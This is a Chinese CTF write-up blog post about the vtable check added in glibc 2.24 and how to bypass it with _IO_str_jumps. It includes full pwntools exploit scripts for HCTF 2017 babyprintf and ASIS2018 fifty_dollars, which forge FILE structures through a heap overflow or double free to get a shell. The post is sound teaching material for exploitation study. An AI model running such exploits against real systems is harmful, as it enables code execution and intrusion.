glibc 2.24开始的vtable check及其绕过

glibc 2.24开始的vtable check及其绕过

原理

在2.23及其之前,IO结构体里面的vtable里面的相关函数在调用的时候不存在检查,这就使得容易被构造从而使得vtable容易被攻击。

在此基础之上glibc 2.24加入了vtable check机制:

在最终调用vtable的函数之前,内联进了IO_validate_vtable函数,跟进去该函数,源码如下,文件在/libio/libioP.h中:

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

可以看到glibc中是有一段完整的内存存放着各个vtable,其中__start___libc_IO_vtables指向第一个vtable地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址,因此,如果我们想之前一样伪造vtable,那么无法绕过这个检查,看源码vtable check会怎么做:

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check) //检查是否是外部重构的vtable
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE)) //检查是否是动态链接库中的vtable
      return;
  }

...

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

进入该函数意味着目前的vtable不是glibc中的vtable,因此_IO_vtable_check判断程序是否使用了外部合法的vtable(重构或是动态链接库中的vtable),如果不是则报错。

总结

glibc2.24中vtable中的check机制可以小结为:

1.判断vtable的地址是否处于glibc中的vtable数组段,是的话,通过检查。
2.否则判断是否为外部的合法vtable(重构或是动态链接库中的vtable),是的话,通过检查。
3.否则报错,输出Fatal error: glibc detected an invalid stdio handle,程序退出。

所以最终的原因是:exp中的vtable是堆的地址,不在vtable数组中,且无法通过后续的检查,因此才会报错。

绕过check

•使用内部的vtable_IO_str_jumps或_IO_wstr_jumps来进行利用。
•使用缓冲区指针来进行任意内存读写。
例题:

hctf 2017的babyprintf

[*] '/home/root0/pratice/pwn_category/IO_FILE/vtable_str_jumps/hctf2017-babyprintf/babyprintf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  '/glibc/x64/2.24/lib'
    FORTIFY:  Enabled

开启了NX, CANARY ,FORTIFY 看程序流程:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  void *ptr; // rbx
  unsigned int size; // eax

  menu();
  while ( 1 )
  {
    __printf_chk(1LL, (__int64)"size: ");
    size = read_in();
    if ( size > 0x1000 )
      break;
    ptr = malloc(size);
    __printf_chk(1LL, (__int64)"string: ");
    gets(ptr);
    __printf_chk(1LL, (__int64)"result: ");
    __printf_chk(1LL, (__int64)ptr);
  }
  puts("too long");
  exit(1);
}

可以看出有格式化字符串漏洞,和堆溢出,
首先想到的是格式化任意写,把one_gadget写入到malloc_hook,但是不行,不过联想到有malloc,但是没有free,同时又有堆溢出,所以自然想到了house 0f orange,exit函数的存在也使得IO攻击成为可能。
注意点
由于这个题目是glibc 2.24,那么自然存在vtable check的检查,所以我们就要改用绕过手法。
把vtable 改写成_IO_str_jump - 8来绕过检查。同时注意mode flag _io_write_base 和 _io_write_ptr这类的构造。

这类题目可以用 pwn_debug 这个项目,构造会方便很多。

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./babyprintf"
libcversion = '2.24'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("")

def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 
    success(libcbase + " ===> " + hex(libcbase))

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(addr) + "\nc"
    gdb.attach(r,break_point)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def attack(size,content):
    r.recvuntil("size: ")
    r.sendline(str(size))
    r.recvuntil("string: ")
    r.send(content +"\n")

attack(1,"%p")
r.recvuntil("result: ")
libcbase = int(r.recv(14),16) - 0x39a760
confirm(libcbase)
malloc_hook = libcbase + libc.symbols["__malloc_hook"]
_IO_list_all_addr = 0x399500 + libcbase
_IO_str_jumps_addr = 0x395500 + libcbase
fake_vtable = _IO_str_jumps_addr - 8
system_addr = libcbase + libc.symbols["system"]
bin_sh_addr = libcbase + libc.search("/bin/sh\x00").next()
attack(1,"A" * 0x18 + p64(0xfc1))
attack(0x1000,"")
attack(0x20,"b" * 0x20  + ((p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all_addr - 0x10) + p64(0) + p64(1) + "a"*8 + p64(bin_sh_addr)).ljust(0xb0,"a")+p64(0)+p64(0)+p64(0)).ljust(0xd8,"a") + p64(fake_vtable)+ p64(system_addr) * 2)
#gdb.attach(r)
r.recvuntil("size: ")
r.sendline("1")
#attack(1,"")
r.interactive()

ASIS2018-fifty_dollars

这个题目存在uaf , 我们通过double free可以改写数据,但是他的size被限制为0x60,所以我们在伪造FSOP的是劫持vtable就不能写0x60了,因为此时堆块不会被放入small bin而是直接返还给用户,此时我们就要用到第二次的main_arena,最终形成fp->_chain->_chain指向我们堆块的地址的堆块(即大小为0xb0的堆块),然后伪造就可以了。

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./ASIS2018-fifty_dollars"
libcversion = '2.24'
local = 1
context.binary = exec_binary
#context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("")

def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 
    success(libcbase + " ===> " + hex(libcbase))

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(addr+text_base) + "\nc"
    gdb.attach(r,break_point)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def malloc(idx,Content):
    r.recvuntil("choice:")
    r.sendline("1")
    r.recvuntil("Index:")
    r.sendline(str(idx))
    r.recvuntil("Content:")
    r.send(Content)

def show(idx):
    r.recvuntil("choice:")
    r.sendline("2")
    r.recvuntil("Index:")
    r.sendline(str(idx))

def free(idx):
    r.recvuntil("choice:")
    r.sendline("3")
    r.recvuntil("Index:")
    r.sendline(str(idx))

malloc(0,"a"*0x10 + p64(0) + p64(0x61))
malloc(1,"a")
malloc(2,"a")
free(0)
free(1)
free(2)
#debug(0x000000000000A94)
show(2)
heap_base = u64(r.recv(6).ljust(8,"\x00")) - 0x60
confirm(heap_base)
free(1)
malloc(3,p64(heap_base + 0x20))
malloc(3,"a")
malloc(3,"a")
malloc(3,"a"*0x30 + p64(0) + p64(0xc1))
malloc(4,"a")
free(1)
show(1)
libcbase = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - 0x39bb78 + 0x3020
bin_sh_addr = libcbase + libc.search("/bin/sh\x00").next()
system_addr = libcbase + libc.symbols["system"]
_IO_list_all_addr = libcbase + 0x399500
_IO_str_jumps = libcbase + 0x395500
confirm(libcbase)
free(0)
free(2)
free(0)
malloc(0,p64(heap_base + 0x50) + p64(0) + "a" * 0x30 + p64(0) + p64(0x61))
malloc(3,"a")
malloc(3,"a")
malloc(3,p64(0) + p64(0xb1) + p64(0) + p64(_IO_list_all_addr-0x10) + p64(0) + p64(1) + "a"*8 + p64(bin_sh_addr))
free(4)
malloc(4,p64(0) + p64(_IO_str_jumps-8) + p64(system_addr)*2)
free(2)
free(0)
free(2)
malloc(2,p64(heap_base + 0xf0) + p64(0)*4 +p64(0x61))
malloc(0,"a")
malloc(0,"a")
malloc(0,p64(0) * 5)
r.recvuntil("choice:")
r.sendline("1")
r.recvuntil("Index:")
r.sendline("6")
r.interactive()

参考链接:

https://mp.weixin.qq.com/s?__biz=MzI2ODM4NzUyNQ==&mid=2247483747&idx=1&sn=9ae56847d5bfe738f90c15798e215d52&chksm=eaf114c9dd869ddf641e23b2d45ba4c4fac79d525082799709c2fc0c66eb941b364d89372588&scene=126&sessionid=1581214890&key=2e1dfd5430989673870e3209780f0d45b10f32a7727b964f82dfea19c364364ef867111a238e4546230ce753f7811a2e27867f39f552cebb77d854efb91a91a06f09f62fac383fa1861e02d97d59ad8c&ascene=1&uin=NTkxMzg4NDA2&devicetype=Windows+10&version=6208006f&lang=zh_CN&exportkey=A7ZFZLXrnMF%2B%2B5OcZ17HqDk%3D&pass_ticket=AKeH%2BgxSnmIcpqnhm4KMmuApF7rbDi8vKPA8SkxL5XAk%2FcrGloBcoNMmOoUy0869


   转载规则


《glibc 2.24开始的vtable check及其绕过》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
IO攻击总结 IO攻击总结
IO攻击总结_IO_FILE结构体相关truct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_
2020-02-10
下一篇 
House Of Eingherjar House Of Eingherjar
House Of Eingherjar这种技术实际上就是利用free时候的操作。 /* consolidate backward */ if (!prev_inuse(p)) { prevsize
2020-02-10
  目录